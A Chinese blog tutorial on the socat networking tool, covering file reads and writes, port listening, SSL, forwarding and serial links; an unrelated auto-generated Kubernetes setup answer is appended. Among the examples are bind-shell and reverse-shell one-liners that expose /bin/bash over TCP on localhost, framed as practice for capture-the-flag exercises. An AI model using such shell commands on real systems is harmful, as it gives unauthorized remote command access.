Socat环境搭建

分享一下我老师大神的人工智能教程!零基础,通俗易懂!http://blog.csdn.net/jiangjunshow

也欢迎大家转载本篇文章。分享知识,造福人民,实现我们中华民族伟大复兴!

                       

socat是一个神器,姑且我现在理解它为nc的加强版,尤其是socat有ssl的功能,这个就比较方便环境的搭建,最近要复现环境还是用到了这个

安装

sudo apt-get install socat
  
  
  • 1

或者去管网下载安装包,无妨

基本语法

socat [options] <address> <address>
  
  
  • 1

几个常用的描述方式如下:

  • STDIN,STDOUT :表示标准输入输出,可以就用一个横杠代替
  • /var/log/syslog : 也可以是任意路径,如果是相对路径要使用./,打开一个文件作为数据流。
  • TCP:: : 建立一个TCP连接作为数据流,TCP也可以替换为UDP
  • TCP-LISTEN: : 建立TCP监听端口,TCP也可以替换为UDP
  • EXEC: : 执行一个程序作为数据流。

在这些描述后可以附加一些选项,用逗号隔开,如fork,reuseaddr,stdin,stdout,ctty等。

socat进行文件操作

读取文件,注意这里的路径必须是绝对路径

socat - /var/www/html/flag.php 
  
  
  • 1

写入文件

echo "2333" | socat - /var/www/html/hello.html
  
  
  • 1

以后做题的时候如果有条件也是一种文件的操作方法

socat的netcat功能模块

远程链接端口

nc localhost 80socat - TCP:localhost:80
  
  
  • 1
  • 2

监听端口

nc -lp localhost 233socat TCP-LISTEN:233 
  
  
  • 1
  • 2

正向shell

nc -lp localhost 700 -e /bin/bashsocat TCP-LISTEN:700 EXEC:/bin/bash
  
  
  • 1
  • 2

反弹shell

nc localhost 700 -e /bin/bashsocat tcp-connect:localhost:700 exec:'bash -li',pty,stderr,setsid,sigint,sane
  
  
  • 1
  • 2

确实一应俱全!

代理与转发

将本地80端口转发到远程的80端口

socat TCP-LISTEN:80,fork TCP:www.domain.org:80
  
  
  • 1

SSL连接

SSL服务器

需要首先生成证书文件

socat OPENSSL-LISTEN:443,cert=/cert.pem -
  
  
  • 1

SSL客户端

socat - OPENSSL:localhost:443
  
  
  • 1

fork服务器

可以将一个使用标准输入输出的单进程程序变为一个使用fork方法的多进程服务

socat TCP-LISTEN:1234,reuseaddr,fork EXEC:./helloworld
  
  
  • 1

不同设备的通信

socat -d -d /dev/ttyUSB1,raw,nonblock,ignoreeof,cr,echo=0 TCP4-LISTEN:5555,reuseaddr
  
  
  • 1

将终端转发到COM1

socat READLINE,history=$HOME/.cmd_history /dev/ttyS0,raw,echo=0,crnl
  
  
  • 1

大多数参考了前辈们的文章
http://brieflyx.me/2015/linux-tools/socat-introduction/
http://www.jianshu.com/p/a659924515f7

           

给我老师的人工智能教程打call!http://blog.csdn.net/jiangjunshow
这里写图片描述
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
生产环境搭建Kubernetes可以分为以下几个步骤: 1. 确保安装了必要的软件和工具:在搭建Kubernetes之前,确保已经安装了Docker、Conntrack、Socat和GlusterFS客户端等必要的软件和工具。可以通过命令安装这些软件,例如:`yum install docker conntrack socat glusterfs-client`。 2. 准备配置文件:根据实际情况,编辑或生成一个配置文件(例如config-sample.yaml),其中包含主机的相关信息,如主机名、IP地址、用户名和密码等。可以使用命令`./kk create config --from-cluster`生成一个示例配置文件,并根据需要进行修改。 3. 验证集群状态:使用`kubectl get node`命令验证集群中各个节点的状态,确保集群正常运行。 4. 添加新节点:如果需要添加新的节点到集群中,可以在配置文件中添加新节点的信息,包括主机名、IP地址、用户名和密码等。示例配置文件中的`hosts`和`roleGroups`字段可以用来添加新节点的信息。然后使用命令`./kk add nodes -f config-sample.yaml`将新节点添加到集群中。 5. 删除节点:如果需要删除节点,可以使用命令`kubectl cordon nodename`将要删除的节点设置为不可调度状态。然后使用命令`./kk delete node <nodeName> -f config-sample.yaml`删除节点。 6. 下载镜像和二进制文件:如果在没有网络的机器上进行搭建,可以从能够访问互联网的机器上下载镜像和二进制文件。使用命令`curl -L -O https://github.com/kubesphere/ks-installer/releases/download/v3.2.1/images-list.txt`下载镜像清单文件。使用命令`curl -L -O https://github.com/kubesphere/ks-installer/releases/download/v3.2.1/offline-installation-tool.sh`下载离线安装工具脚本。然后使用命令`chmod +x offline-installation-tool.sh`使脚本文件可执行。最后使用命令`./offline-installation-tool.sh -b -v v1.21.5`下载Kubernetes二进制文件。 请注意,以上步骤仅为示例,实际搭建过程可能会因环境和需求的不同而有所差异。在进行生产环境搭建时,请确保根据具体情况进行相应的配置和操作。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* *3* [kubesphere+kubernetes搭建生产环境高可用集群(三-2)](https://blog.csdn.net/weixin_45692576/article/details/125533589)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 100%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值